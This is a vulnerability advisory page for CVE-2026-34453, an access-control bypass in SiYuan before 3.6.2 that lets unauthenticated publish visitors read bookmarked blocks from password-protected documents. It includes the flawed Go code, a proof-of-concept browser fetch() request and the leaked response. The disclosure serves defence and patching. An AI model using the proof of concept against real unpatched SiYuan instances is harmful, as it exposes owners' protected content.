7.5high
SiYuan: Broken access control in /api/bookmark/getBookmark allows unauthenticated publish visitors to read password-protected bookmarked content
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.33% (higher than 71% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-c77m-r996-jr3qGO-2026-5318
Description
SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| siyuan-note siyuan | < 3.6.2 | CVE List |
| github.com/siyuan-note/siyuan/kernel (Go) | before 3.6.2, all versions | GitHub Advisory Database, Go Vulnerability Database |
| b3log siyuan | before 3.6.2 | NVD |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2.
GitHub Advisory Database
Summary
The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.
Details
The issue is caused by an authorization bypass in the bookmark API path used by the publish service.
In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
tempBookmarks := &model.Bookmarks{}
for _, bookmark := range *bookmarks {
bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)
In kernel/model/publish_access.go, FilterBlocksByPublishAccess allows access when c == nil:
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
(c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.
The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.
I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.
PoC
- Start SiYuan with the publish service enabled.
- Create a new document, for example publish-bookmark-poc.
- Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
- Open the block attributes and assign a bookmark label, for example leak-test.
- In Doc Tree, enable Publish Access Control and set the document to Protected.
- Set a password for that document, for example test123, and confirm the change.
- Open the publish service in a fresh incognito/private browser session.
- Verify that opening the protected document through the publish UI requires the password.
- Without entering the password, open the browser developer console and run:
fetch("/api/bookmark/getBookmark", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: "{}"
})
.then(r => r.json())
.then(x => console.log(JSON.stringify(x, null, 2)));
- Observe that the response contains a bookmark entry such as:
{
"code": 0,
"msg": "",
"data": [
{
"name": "leak-test",
"blocks": [
{
"box": "20260327012540-ppsxc5j",
"path": "/20260327012543-acu1mdn.sy",
"hPath": "/publish-bookmark-poc",
"id": "20260327012543-1y6djn1",
"rootID": "20260327012543-acu1mdn",
"parentID": "20260327012543-acu1mdn",
"name": "",
"alias": "",
"memo": "",
"tag": "",
"content": "<span data-type=\"code\">BOOKMARK_SECRET_123</span>",
"fcontent": "",
"markdown": "`BOOKMARK_SECRET_123`",
"folded": false,
"type": "NodeParagraph",
"subType": "",
"refText": "",
"refs": null,
"defID": "",
"defPath": "",
"ial": {
"bookmark": "leak-test",
"id": "20260327012543-1y6djn1",
"updated": "20260327013116"
},
"children": null,
"depth": 1,
"count": 0,
"refCount": 0,
"sort": 10,
"created": "",
"updated": "",
"riffCardID": "",
"riffCard": null
}
],
"type": "bookmark",
"depth": 0,
"count": 1
}
]
}
Actual result:
/api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.
Impact
An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.
Go Vulnerability Database
SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2.
NVD (es)
SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.2, el servicio de publicación expone bloques marcados de documentos protegidos con contraseña a visitantes no autenticados. En modo de publicación/solo lectura, /API/bookmark/getBookmark filtra los resultados de los marcadores al llamar a FilterBlocksByPublishAccess(nil, ...). Debido a que el filtro trata un contexto nulo como autorizado, omite la verificación de la contraseña de publicación y devuelve bloques marcados de documentos configurados como Protegidos. Como resultado, cualquiera que pueda acceder al servicio de publicación puede recuperar contenido de documentos protegidos sin proporcionar la contraseña requerida, siempre y cuando al menos un bloque en el documento esté marcado. Este problema ha sido parcheado en la versión 3.6.2.
References
| https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q | advisory, exploit, vendor-advisory, web | |
| https://github.com/siyuan-note/siyuan/issues/17246 | issue-tracking, web | |
| https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-34453 | advisory | |
| https://github.com/siyuan-note/siyuan | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-34453 changed 2026-04-01 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-c77m-r996-jr3q changed 2026-06-25 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5318 changed 2026-06-25 | CC-BY-4.0 |
| NVD | CVE-2026-34453 changed 2026-07-24 | Public domain |